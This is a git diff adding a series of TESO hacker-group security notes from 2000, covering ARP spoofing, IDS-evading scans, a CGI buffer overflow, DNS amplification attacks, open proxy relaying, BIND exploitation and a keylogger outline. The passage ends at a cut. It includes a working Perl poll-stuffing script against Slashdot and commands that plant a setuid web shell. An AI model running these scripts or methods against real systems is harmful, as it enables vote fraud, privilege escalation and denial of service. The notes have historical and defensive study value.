diff options
Diffstat (limited to 'informationals')
41 files changed, 6238 insertions, 0 deletions
diff --git a/informationals/teso-i0001.txt b/informationals/teso-i0001.txt new file mode 100644 index 0000000..92e8c69 --- /dev/null +++ b/informationals/teso-i0001.txt | |||
| @@ -0,0 +1,42 @@ | |||
| 1 | 0001 2000/01/20 Difference in Linux 2.x ARP Request handling | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Difference in Linux 2.x ARP Request handling | ||
| 8 | Date .................: 2000/01/20 18:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: unknown | ||
| 11 | Affected .............: ARP protocol handling in Linux 2.x kernels | ||
| 12 | Type of entity .......: Protocol | ||
| 13 | Type of discovery ....: implementation difference | ||
| 14 | Severity/Importance ..: interesting | ||
| 15 | Found by .............: rookie and scut | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | An ARP resolution request is usually done in two steps, where one ARP Request | ||
| 20 | message is send and the host that has an interface configured for the | ||
| 21 | requested IP address answers with an ARP Answer message. Every ARP message | ||
| 22 | of one protocol conversion type has the same length to ease processing of the | ||
| 23 | messages. | ||
| 24 | |||
| 25 | In an ARP Answer the sender IP and sender MAC address is included along with | ||
| 26 | the target IP address and the target MAC address. While it makes sense in an | ||
| 27 | ARP Answer the same values are included in an ARP Request too, for the sense | ||
| 28 | of simplicity. While most implementations ignore the sender IP/MAC address | ||
| 29 | pair in an ARP Request the Linux kernel adds this pair to it's internal ARP | ||
| 30 | table, having the same effect as if it is an ARP Answer packet. | ||
| 31 | |||
| 32 | This allows us to ARP spoof using ARP Requests instead of ARP Answers if the | ||
| 33 | target system runs Linux. This may be done for stealth purposes or to subvert | ||
| 34 | ARP packet watching programs such as arpwatch. | ||
| 35 | |||
| 36 | Note that this is the correct behavior as defined in RFC 826, where every | ||
| 37 | implementation should update it's cache before even looking at the ARP opcode. | ||
| 38 | Every other common implementation however (including all BSDs and Windows | ||
| 39 | systems) do not do this. | ||
| 40 | |||
| 41 | =============================================================================== | ||
| 42 | |||
diff --git a/informationals/teso-i0002.txt b/informationals/teso-i0002.txt new file mode 100644 index 0000000..b71c14b --- /dev/null +++ b/informationals/teso-i0002.txt | |||
| @@ -0,0 +1,33 @@ | |||
| 1 | 0002 2000/01/21 TCP stealth scan "Scan 64" | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: New TCP stealth-scans, aka "Scan 64" | ||
| 8 | Date .................: 2000/01/21 15:37 | ||
| 9 | Author ...............: S. Krahmer | ||
| 10 | Publicity level ......: public after 25.1.2000 | ||
| 11 | Affected .............: lots of network-based IDS's | ||
| 12 | Type of entity .......: Protocol-based | ||
| 13 | Type of discovery ....: implementation mistake | ||
| 14 | Severity/Importance ..: interesting | ||
| 15 | Exploit available ....: Y | ||
| 16 | URL ..................: http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 17 | Found by .............: S. Krahmer | ||
| 18 | |||
| 19 | Information =================================================================== | ||
| 20 | |||
| 21 | The general behavior of many IDS is 'black-list' based. You need to specify | ||
| 22 | for example the list of bad flags in a TCP-packet to detect so called | ||
| 23 | 'stealth-scans'. | ||
| 24 | |||
| 25 | It is very difficult to get all the types black-listed. Instead one should list | ||
| 26 | all 'allowed' flags (i.e. SYN|ACK, RST, PUSH|ACK etc). | ||
| 27 | |||
| 28 | After notifying the maintainers of IDS's about the possibility of silent push- | ||
| 29 | scans and a fixed scan-detection engine, it was again possible to do un-noticed | ||
| 30 | scans by setting flags in TCP-headers that don't appear in usual traffic. | ||
| 31 | |||
| 32 | =============================================================================== | ||
| 33 | |||
diff --git a/informationals/teso-i0003.txt b/informationals/teso-i0003.txt new file mode 100644 index 0000000..5d530ab --- /dev/null +++ b/informationals/teso-i0003.txt | |||
| @@ -0,0 +1,31 @@ | |||
| 1 | 0003 2000/01/22 Remotely exploitable buffer overflow condition in webfind.exe | ||
| 2 | part of the WebsitePro Package (cgi-bin) | ||
| 3 | |||
| 4 | ==== TESO Informational ======================================================= | ||
| 5 | This piece of information is to be kept confidential. | ||
| 6 | =============================================================================== | ||
| 7 | |||
| 8 | Description ..........: Remote buffer overflow | ||
| 9 | Date .................: 2000/01/22 19:06 | ||
| 10 | Author ...............: Bawd | ||
| 11 | Publicity level ......: unknown | ||
| 12 | Affected .............: All WebsitePro HTTP servers running the webfind cgi | ||
| 13 | Type of entity .......: Daemon/Server | ||
| 14 | Type of discovery ....: bug | ||
| 15 | Severity/Importance ..: interesting | ||
| 16 | Found by .............: Bawd | ||
| 17 | |||
| 18 | Information =================================================================== | ||
| 19 | |||
| 20 | This buffer overflow allows a remote attacker to gain privileged access to | ||
| 21 | machines running the WebSite servers. | ||
| 22 | |||
| 23 | Filling the "Search For" case with more than 2000 characters will cause the cgi | ||
| 24 | to make an exception fault and overwrite the return address, which will | ||
| 25 | overwrite EIP. | ||
| 26 | |||
| 27 | "webfind.exe" is installed by default in the cgi-bin directory. Exploit is | ||
| 28 | coming later. | ||
| 29 | |||
| 30 | =============================================================================== | ||
| 31 | |||
diff --git a/informationals/teso-i0004.txt b/informationals/teso-i0004.txt new file mode 100644 index 0000000..b20a187 --- /dev/null +++ b/informationals/teso-i0004.txt | |||
| @@ -0,0 +1,74 @@ | |||
| 1 | 0004 2000/01/22 Conceptual bug in webvoting systems with proxy protection | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Conceptual bug in webvoting systems with protection | ||
| 8 | against proxy servers | ||
| 9 | Date .................: 2000/01/22 20:53 | ||
| 10 | Author ...............: typo | ||
| 11 | Publicity level ......: possibly known | ||
| 12 | Affected .............: slashdot webvoting systems, probably others | ||
| 13 | Type of entity .......: CGI | ||
| 14 | Type of discovery ....: interesting information | ||
| 15 | Severity/Importance ..: low | ||
| 16 | Found by .............: typo | ||
| 17 | |||
| 18 | Information =================================================================== | ||
| 19 | |||
| 20 | X-Forwarded-For is the HTTP header field added by proxies in which they store | ||
| 21 | the client's real IP. Normally it looks like this: | ||
| 22 | |||
| 23 | X-Forwarded-For: 1.2.3.4 | ||
| 24 | |||
| 25 | meaning that 1.2.3.4 asked the proxy to fetch the page. | ||
| 26 | |||
| 27 | Now, most webvoting systems implement proxy protection by accounting votes to | ||
| 28 | the IP mentioned in the HTTP X-Forwarded-For: header, if it is set. No one | ||
| 29 | seems to have thought that by sending your own X-Forwarded-For field in a | ||
| 30 | non-proxy request, you can get the vote CGI to account your vote to some | ||
| 31 | other IP. Tested on Slashdot. | ||
| 32 | |||
| 33 | Sample slashdot vote h4x0r Perl script: | ||
| 34 | |||
| 35 | #!/usr/bin/perl | ||
| 36 | |||
| 37 | use IO::Socket; | ||
| 38 | |||
| 39 | $vote = "votename"; # see url | ||
| 40 | $aid = 8; # see url | ||
| 41 | $times = 50; # num of votes | ||
| 42 | |||
| 43 | for ($i = 1; $i <= $times; $i++) { | ||
| 44 | $cowshit = IO::Socket::INET->new(PeerAddr => "slashdot.org", | ||
| 45 | PeerPort => 80, | ||
| 46 | Timeout => 30, | ||
| 47 | Proto => 'tcp'); | ||
| 48 | |||
| 49 | die "no connect" if (!defined $cowshit); | ||
| 50 | |||
| 51 | $cowshit->autoflush(1); | ||
| 52 | |||
| 53 | $rand1 = int(rand(254)+1); | ||
| 54 | $rand2 = int(rand(254)+1); | ||
| 55 | $rand3 = int(rand(254)+1); | ||
| 56 | $rand4 = int(rand(254)+1); | ||
| 57 | |||
| 58 | $tmp = <<EOF; | ||
| 59 | GET /pollBooth.pl?qid=${vote}\&aid=${aid} HTTP/1.0 | ||
| 60 | User-Agent: Mozilla/4.7 [en] (TeOS; X11) | ||
| 61 | Host: slashdot.org:80 | ||
| 62 | X-Forwarded-For: ${rand1}.${rand2}.${rand3}.${rand4} | ||
| 63 | |||
| 64 | EOF | ||
| 65 | |||
| 66 | print $tmp; | ||
| 67 | print $cowshit $tmp; | ||
| 68 | |||
| 69 | print "voted $i\n"; | ||
| 70 | $cowshit->close; | ||
| 71 | } | ||
| 72 | |||
| 73 | =============================================================================== | ||
| 74 | |||
diff --git a/informationals/teso-i0005.txt b/informationals/teso-i0005.txt new file mode 100644 index 0000000..eda8329 --- /dev/null +++ b/informationals/teso-i0005.txt | |||
| @@ -0,0 +1,35 @@ | |||
| 1 | 0005 2000/01/22 Ascend ISDN Router DoS vulnerability (old UDP echo problem) | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Ascend ISDN Router DoS vulnerability | ||
| 8 | Date .................: 2000/01/22 21:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: unfirewalled Ascend ISDN Routers, for example Ascend | ||
| 12 | Pipeline 50 routers | ||
| 13 | Type of entity .......: Router | ||
| 14 | Type of discovery ....: denial of service attack | ||
| 15 | Severity/Importance ..: interesting | ||
| 16 | Found by .............: hendy and scut | ||
| 17 | |||
| 18 | Information =================================================================== | ||
| 19 | |||
| 20 | A standard Ascend ISDN router has the UDP echo port open. By spoofing the | ||
| 21 | source IP address as the destination IP address of the router and sending a UDP | ||
| 22 | packet to the router the router will keep the packet within it's internal | ||
| 23 | packet table forever. However this is a very old denial of service attack, but | ||
| 24 | it has some nice effects here. | ||
| 25 | |||
| 26 | For example by sending packets of 500 bytes length you can constantly increase | ||
| 27 | the generic router delay time from 0 ms to up to 800 ms. After that the router | ||
| 28 | packet table is completely overflowed and the router is inoperational. In this | ||
| 29 | state the only thing that will help is a hard reset of the router. | ||
| 30 | |||
| 31 | This is just the old echo/echo UDP link problem, but still living very happily | ||
| 32 | in any Ascend ISDN router. | ||
| 33 | |||
| 34 | =============================================================================== | ||
| 35 | |||
diff --git a/informationals/teso-i0006.txt b/informationals/teso-i0006.txt new file mode 100644 index 0000000..0825ad8 --- /dev/null +++ b/informationals/teso-i0006.txt | |||
| @@ -0,0 +1,84 @@ | |||
| 1 | 0006 2000/01/23 Nameserver traffic amplify (x 10-30) and NS route discovery | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: NS traffic amplify (x 10-30) and NS route discovery | ||
| 8 | Date .................: 2000/01/23 11:15 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: unknown | ||
| 11 | Affected .............: Nameservers | ||
| 12 | Type of entity .......: Protocol | ||
| 13 | Type of discovery ....: interesting information, denial of service attack | ||
| 14 | Severity/Importance ..: medium | ||
| 15 | Found by .............: scut | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | When a nameserver receives a query, most nameservers usually just start | ||
| 20 | forwarding the query to some other nameserver. There can be quite a long path | ||
| 21 | of forwarding queries. However if the query is not resolvable because there | ||
| 22 | is no nameserver listening on the remote host every forwarding nameserver will | ||
| 23 | start to resolve it on their own, by querying the authoritative nameserver | ||
| 24 | themselves. In the default configuration each nameserver will send the query | ||
| 25 | three times, after 0, 12 and 24 seconds, ymmv. | ||
| 26 | |||
| 27 | This can be used to discover the path of nameservers. To do this an attacker | ||
| 28 | would query the first nameserver for a domain he can see the packets on, at | ||
| 29 | best the domain points to the query host itself. Then he would record all | ||
| 30 | nameservers that send out a packet to himself. After having done this he would | ||
| 31 | try with another nameserver of the ones he got queries from. In the best case | ||
| 32 | he will receive a queries from all hosts but one missing. The missing one is | ||
| 33 | the first host in the route. After having reduced the list by one he will | ||
| 34 | start over with the reduced list until there is only one nameserver remaining, | ||
| 35 | which is the last in the querying chain. | ||
| 36 | |||
| 37 | Through seeking especially long paths, where a lot of nameservers are queried, | ||
| 38 | this can be abused then as a traffic amplify bandwidth attack, as shown below. | ||
| 39 | Since the important entries such as the NS entry is in the cache of each | ||
| 40 | nameserver after the first query, the attack is very fast pacing after the | ||
| 41 | first query, since no additional packets to the attacker are send and the | ||
| 42 | attacker can spoof the UDP query packets. If the attacker is clever he would | ||
| 43 | use a very short lifetime for his NS entry, while using a long lifetime for | ||
| 44 | the victim subdomain. After the first query succeeded he will just shut his | ||
| 45 | nameserver down and send out spoofed query packets at a very fast rate. | ||
| 46 | |||
| 47 | In this case a query was issued to ns1 asking about a host within a domain that | ||
| 48 | host "victim" has an NS entry for. But there is no nameserver running on victim, | ||
| 49 | therefore all queries remain unanswered, and after a short time all nameservers | ||
| 50 | that indirectly received the query are starting to query on their own. The host | ||
| 51 | "victim" is in this case the victim host which gets the whole traffic load. To | ||
| 52 | use this to attack someone you just have to create an NS entry for the victim | ||
| 53 | host, for example you own the NS for the domain "foobar.org", then you have to | ||
| 54 | create a NS entry "bla.foobar.org" that points to the victim host. After that, | ||
| 55 | you query as much nameservers as possible for "<random>.bla.foobar.org". | ||
| 56 | |||
| 57 | 08:07:24.943598 ns2.domain > victim.domain: 15121 (35) | ||
| 58 | 08:07:32.747253 ns3.domain > victim.domain: 8536 (35) | ||
| 59 | 08:07:32.832604 ns2.domain > victim.domain: 15121 (35) | ||
| 60 | 08:07:39.819289 ns3.domain > victim.domain: 8536 (35) | ||
| 61 | 08:07:40.670228 ns1.1025 > victim.domain: 56483 (35) | ||
| 62 | 08:07:44.405556 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 63 | 08:07:48.928981 ns2.domain > victim.domain: 15121 (35) | ||
| 64 | 08:07:52.669825 ns1.1025 > victim.domain: 56483 (35) | ||
| 65 | 08:07:56.107063 ns3.domain > victim.domain: 8536 (35) | ||
| 66 | 08:07:56.471586 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 67 | 08:08:04.938187 ns6.domain > victim.domain: 26706 (35) | ||
| 68 | 08:08:12.372097 ns5.2187 > victim.domain: 2352 (35) | ||
| 69 | 08:08:13.826464 ns6.domain > victim.domain: 26706 (35) | ||
| 70 | 08:08:16.669021 ns1.1025 > victim.domain: 56483 (35) | ||
| 71 | 08:08:20.603050 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 72 | 08:08:24.365990 ns5.2187 > victim.domain: 2352 (35) | ||
| 73 | 08:08:30.873233 ns6.domain > victim.domain: 26706 (35) | ||
| 74 | 08:08:32.658479 ns1.domain > victim.1025: 298 ServFail 0/0/0 (35) | ||
| 75 | 08:08:48.369725 ns5.2187 > victim.domain: 2352 (35) | ||
| 76 | |||
| 77 | As you can see there are five nameservers who indirectly got the query. "ns1" | ||
| 78 | is the nameserver that got the original query which was 35 bytes in length. Now | ||
| 79 | all nameservers started to send out queries, three per nameserver. Since six | ||
| 80 | nameservers have done this, the amplify ratio is about 18 (35 * 6 * 3 = 630) | ||
| 81 | in this case. | ||
| 82 | |||
| 83 | =============================================================================== | ||
| 84 | |||
diff --git a/informationals/teso-i0007.txt b/informationals/teso-i0007.txt new file mode 100644 index 0000000..8304c03 --- /dev/null +++ b/informationals/teso-i0007.txt | |||
| @@ -0,0 +1,48 @@ | |||
| 1 | 0007 2000/01/23 Conceptual bug in PHP and also in CGI modules | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Bug in scripting modules for web servers | ||
| 8 | Date .................: 2000/01/23 18:19 | ||
| 9 | Author ...............: hendy | ||
| 10 | Publicity level ......: well known | ||
| 11 | Affected .............: Unix http servers (maybe others) | ||
| 12 | Type of entity .......: CGI+PHP | ||
| 13 | Severity/Importance ..: low but interesting | ||
| 14 | Found by .............: hendy | ||
| 15 | |||
| 16 | Information =================================================================== | ||
| 17 | |||
| 18 | If your httpd supports PHP and/or CGI scripts, and you allow users to use | ||
| 19 | these, those scripts are run as the user/group the webserver runs as. Though | ||
| 20 | this is mostly not user root, it can have impact if you have an own group. | ||
| 21 | For example you allow group 'foo' to modify webserver configuration or the | ||
| 22 | webserver needs access on some files (for example chat scripts, or messaging | ||
| 23 | services via PHP/CGI). Every user with access on this machine can easily get | ||
| 24 | access to this with little knowledge of scripting: | ||
| 25 | |||
| 26 | (in PHP) | ||
| 27 | |||
| 28 | <? | ||
| 29 | system("gcc ~user/shell.c -o /tmp/webshell"); | ||
| 30 | system("chmod 4755 /tmp/webshell"); | ||
| 31 | ?> | ||
| 32 | |||
| 33 | Of course you have to let the webserver read ~/shell.c and shell.c does | ||
| 34 | something like setuid(webserver); setgid(webgid); system("/bin/sh"); | ||
| 35 | |||
| 36 | If CGI scripts are supported its even more easy. | ||
| 37 | |||
| 38 | #!/bin/sh | ||
| 39 | gcc -o ~user/shell.c -o /tmp/webshell | ||
| 40 | chmod 4755 /tmp/webshell | ||
| 41 | |||
| 42 | Of course, this is only one possible idea of getting webservers privileges, but | ||
| 43 | since this exploitation is possible on every standard Linux distribution, it | ||
| 44 | should get somehow known, that giving the webuser more rights than it really | ||
| 45 | needs, can be dangerous. | ||
| 46 | |||
| 47 | ================================================================================== | ||
| 48 | |||
diff --git a/informationals/teso-i0008.txt b/informationals/teso-i0008.txt new file mode 100644 index 0000000..aa5bc9c --- /dev/null +++ b/informationals/teso-i0008.txt | |||
| @@ -0,0 +1,57 @@ | |||
| 1 | 0008 2000/01/24 Check for IP spoofing abilities for a local IP address | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Check for IP spoofing abilities for a local IP address | ||
| 8 | Date .................: 2000/01/24 18:15 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: public, but not widely known | ||
| 11 | Affected .............: IP | ||
| 12 | Type of entity .......: Protocol | ||
| 13 | Type of discovery ....: interesting information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: scut | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | The ability to IP spoof has drastically decreased over the last years, mainly | ||
| 20 | to hinder either denial of service attacks to be executed or to stop | ||
| 21 | sophisticated attacks which involve IP spoofing. While in general IP spoofing | ||
| 22 | is a bad thing, sometimes you need to be capable to send spoofed datagrams. | ||
| 23 | While there are still numerous hosts on the Internet that can set arbitrary IP | ||
| 24 | source addresses, you often need to tell whether you can spoof from a host you | ||
| 25 | have superuser access on. | ||
| 26 | |||
| 27 | The only way to tell whether you can spoof from a host is to try sending of a | ||
| 28 | frame which has a source IP address that is not used within that network and is | ||
| 29 | not one of the reserved private addresses. The other part of the problem | ||
| 30 | is how we can check whether the spoofed packet got through all the routers to | ||
| 31 | it's destination. | ||
| 32 | |||
| 33 | In general we can only tell this if the packet we send has a noticeable effect. | ||
| 34 | This can be for example if we spoof a packet which triggers an attack signature | ||
| 35 | in some IDS system, where the log is displayed publically on the web (www. | ||
| 36 | antionline.com does this), or we can just send the packet to some other IP | ||
| 37 | where we can receive the packet and display it. This is the first method: | ||
| 38 | |||
| 39 | 1) Send a spoofed packet to another IP not on the local network and see if the | ||
| 40 | packet arrives. Optionally put the real source IP into the packet and send | ||
| 41 | an answer packet back to this IP, so the source host knows whether it can | ||
| 42 | spoof or not. | ||
| 43 | |||
| 44 | Another method is similar to the first, but only needs the local host and a | ||
| 45 | domain NS entry for the local IP or a sniffable IP. It works like this: | ||
| 46 | |||
| 47 | 2) Send a spoofed DNS query for a host inside your local domain, which you | ||
| 48 | have an NS entry for on your local host or on a host in the local network, | ||
| 49 | that is sniffable. Send the query to a public usable nameserver outside | ||
| 50 | your local network, then see if some nameservers issues a query for the | ||
| 51 | host you originally asked for, if it does, you can spoof. | ||
| 52 | |||
| 53 | Method 2) is used by the DNS spoofing program "zodiac" to determine if it can | ||
| 54 | spoof from the current network it is running on. | ||
| 55 | |||
| 56 | =============================================================================== | ||
| 57 | |||
diff --git a/informationals/teso-i0009.txt b/informationals/teso-i0009.txt new file mode 100644 index 0000000..ec4378d --- /dev/null +++ b/informationals/teso-i0009.txt | |||
| @@ -0,0 +1,65 @@ | |||
| 1 | 0009 2000/01/26 HTTP proxy forwarding | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: HTTP proxy forwarding | ||
| 8 | Date .................: 2000/01/26 12:15 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: public and widely known for a long time | ||
| 11 | Affected .............: HTTP proxy servers | ||
| 12 | Type of entity .......: misconfiguration | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: ? | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | HTTP proxy servers such as Squid offer multiple methods of request forwarding. | ||
| 20 | The basic HTTP protocol defines three main types, that are called GET, POST and | ||
| 21 | CONNECT. The GET type is the one your browser uses if you just want to retrieve | ||
| 22 | a file from a remote HTTP server. The POST type is used for longer form data, | ||
| 23 | while the CONNECT type is usually used to access HTTPS servers through HTTP | ||
| 24 | proxy servers. While there are still lots of open HTTP proxy servers out there | ||
| 25 | (several thousands I've found so far) that do allow the GET request to be used, | ||
| 26 | only a few hundreds allow the POST and CONNECT requests. | ||
| 27 | |||
| 28 | The CONNECT request allows TCP connection forwarding nearly all of the times, | ||
| 29 | just try: | ||
| 30 | |||
| 31 | ------- | ||
| 32 | xolon:~$ telnet <some-old-squid-server> 3128 | ||
| 33 | Trying xxx... | ||
| 34 | Connected to xxx. | ||
| 35 | Escape character is '^]'. | ||
| 36 | CONNECT ip-removed:21 HTTP/1.0 | ||
| 37 | |||
| 38 | HTTP/1.0 200 Connection established | ||
| 39 | |||
| 40 | 220 xxx FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999) ready. | ||
| 41 | ------- | ||
| 42 | |||
| 43 | Where "CONNECT <ip>:<port> HTTP/1.0" is followed by two carriage return | ||
| 44 | characters. If the CONNECT method works, it is usually very reliable, but the | ||
| 45 | connection is limited to two hours usually, then it gets removed by the proxy | ||
| 46 | server. The POST method is a bit more complicated, since it sometimes not | ||
| 47 | offer a real TCP connection forward, but just a buffered single-direction | ||
| 48 | forwarder. But for other servers it sometimes behaves like a normal CONNECT | ||
| 49 | request, offering you a complete unbuffered TCP connection relay. The request | ||
| 50 | looks like: | ||
| 51 | |||
| 52 | POST http://<ip>:<port>/ HTTP/1.0<cr><cr> | ||
| 53 | |||
| 54 | The "numby" HTTP proxy scanner can check for all three methods and can tell | ||
| 55 | whether a connection forward is reliable and one- or two-directional. | ||
| 56 | |||
| 57 | From scanning nearly 4000 proxy servers here are some statistics: | ||
| 58 | |||
| 59 | 3815 HTTP proxies scanned | ||
| 60 | 727 open GET servers | ||
| 61 | 114 open CONNECT servers | ||
| 62 | 21 open POST servers | ||
| 63 | |||
| 64 | =============================================================================== | ||
| 65 | |||
diff --git a/informationals/teso-i0010.txt b/informationals/teso-i0010.txt new file mode 100644 index 0000000..a0703e9 --- /dev/null +++ b/informationals/teso-i0010.txt | |||
| @@ -0,0 +1,46 @@ | |||
| 1 | 0010 2000/01/30 Trick for exploiting BIND nameservers | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Trick for exploiting BIND nameservers | ||
| 8 | Date .................: 2000/01/30 12:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: unknown | ||
| 11 | Affected .............: networks with multiple BIND nameservers | ||
| 12 | Type of entity .......: misconfiguration | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: scut, inspired by smilers ideas and his NXT exploit | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | When exploiting BIND bugs it is often necessary to make the remote nameserver | ||
| 20 | issue a query to your nameserver, which is in some cases a pseudo server which | ||
| 21 | sends an exploiting packet back on query. | ||
| 22 | |||
| 23 | However in some cases DNS queries aren't allowed to the remote server, although | ||
| 24 | you know the server is vulnerable you cannot exploit this weakness, because | ||
| 25 | you cannot make it to query your exploiting server. | ||
| 26 | |||
| 27 | The DNS server may accept queries only from a predefined IP range, for example | ||
| 28 | the IP range of that subnetwork. Often other DNS servers can be found in the | ||
| 29 | subnetwork. At the same time it is often the case that these servers are | ||
| 30 | configured to just relay the queries to another DNS server. By using a "deaf" | ||
| 31 | pseudo-nameserver, which just responds to the IP of the nameserver you want | ||
| 32 | to exploit (smilers NXT exploit does support this) you can now exploit that | ||
| 33 | server by querying the other nameserver, which accepts your queries, which | ||
| 34 | then happily relays the question to the main nameserver. | ||
| 35 | |||
| 36 | This nameserver may not carry out the query directly if you'd answer the query | ||
| 37 | if it is issued by another nameserver (see TESO Informational #0006), but if | ||
| 38 | you don't answer it this nameserver will after a few seconds issue that query | ||
| 39 | itself, allowing you to exploit it. | ||
| 40 | |||
| 41 | Also using nameserver path discovery (also in #0006) you may be able to spoof | ||
| 42 | send the reply in between two nameservers, which is not possible in the NXT case | ||
| 43 | but maybe required for future exploits. | ||
| 44 | |||
| 45 | =============================================================================== | ||
| 46 | |||
diff --git a/informationals/teso-i0011.txt b/informationals/teso-i0011.txt new file mode 100644 index 0000000..36879fc --- /dev/null +++ b/informationals/teso-i0011.txt | |||
| @@ -0,0 +1,42 @@ | |||
| 1 | 0011 2000/02/01 Linux keyboard handler tricks | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Linux kernel keyboard handling | ||
| 8 | Date .................: 2000/02/01 17:00 | ||
| 9 | Author ...............: Palmers | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: Linux kernel | ||
| 12 | Type of entity .......: kernel module | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: Palmers | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | It is (in theory) easy to (1) free keyboards IRQ, then (2) install a keylogger, | ||
| 20 | and (3) reinstall the original interrupt handler. It has to be freed first to | ||
| 21 | reinstall the first handler to the, then shared, interrupt. | ||
| 22 | |||
| 23 | The stuff that deal with this can be found in: | ||
| 24 | |||
| 25 | <src-dir>/arch/i386/kernel/irq.c (free_irq, request_irq) | ||
| 26 | <src-dir>/drivers/char/pc_keyb.c (kbd stuff) | ||
| 27 | |||
| 28 | as well as in: | ||
| 29 | <src-dir>/include/asm-i386/keyboard.h | ||
| 30 | <src-dir>/arch/i386/kernel/irq.h | ||
| 31 | <src-dir>/include/linux/interrupt.h | ||
| 32 | |||
| 33 | Ok, an interrupt handler has three arguments: | ||
| 34 | interrupt_handler (int irq, void *dev_id, struct pt_regs *regs) | ||
| 35 | |||
| 36 | Which are - you guess it - interrupt, id and a pt_regs struct (which leads | ||
| 37 | to the need for asm). The logger simply needs to pop the byte, read from the | ||
| 38 | keyboard, and write it in a file, the original interrupt handler could be | ||
| 39 | restored using pc_keyb.c (with some modifications). | ||
| 40 | |||
| 41 | =============================================================================== | ||
| 42 | |||
diff --git a/informationals/teso-i0012.txt b/informationals/teso-i0012.txt new file mode 100644 index 0000000..f7395d3 --- /dev/null +++ b/informationals/teso-i0012.txt | |||
| @@ -0,0 +1,57 @@ | |||
| 1 | 0012 2000/02/08 Method to stretch DNS packet length | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Method to stretch DNS packet length | ||
| 8 | Date .................: 2000/02/08 16:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: possibly known | ||
| 11 | Affected .............: DNS protocol | ||
| 12 | Type of entity .......: protocol | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: scut | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | When conducting attacks against the DNS protocol, which is some peoples | ||
| 20 | favorite hobby, it is sometimes necessary to send out large DNS packets, | ||
| 21 | answers or queries. | ||
| 22 | |||
| 23 | There are some ways to enlarge a DNS packet, most of them modify the meaning | ||
| 24 | of the packet. When the meaning should not be modified, there is only one | ||
| 25 | method how to insert bogus bytes that are still within the DNS protocol | ||
| 26 | specification. | ||
| 27 | |||
| 28 | DNS domain names are constructed by appending labels, which are ASCII strings | ||
| 29 | which are prepended with a size-qualifier, consisting of one byte. This size- | ||
| 30 | byte has another function: Some values tell the DNS packet decoder that the | ||
| 31 | following labels should be acquired from somewhere else in the packet. This is | ||
| 32 | called "compressed" DNS domain names. There exist numerous attacks to exploit | ||
| 33 | poorly coded DNS packet decoders, such as pointing to the same label all the | ||
| 34 | time, resulting in a loop. All the common DNS decoders (the one in BIND and | ||
| 35 | the descendant in glibc), are immune to such attacks. | ||
| 36 | |||
| 37 | However we can use the compressed label format to construct legal label | ||
| 38 | sequences, which just enlarge the packet, but don't modify the meaning of the | ||
| 39 | packet. This can be done like this: | ||
| 40 | |||
| 41 | <pointer-two-bytes-ahead><pointer-two-bytes-ahead>\x04real\x03dom\x04name\x00 | ||
| 42 | |||
| 43 | This enlarges the domain by 4 bytes, without modifying the final decoding | ||
| 44 | result of "real.dom.name". We can use this prepending-compression as often as | ||
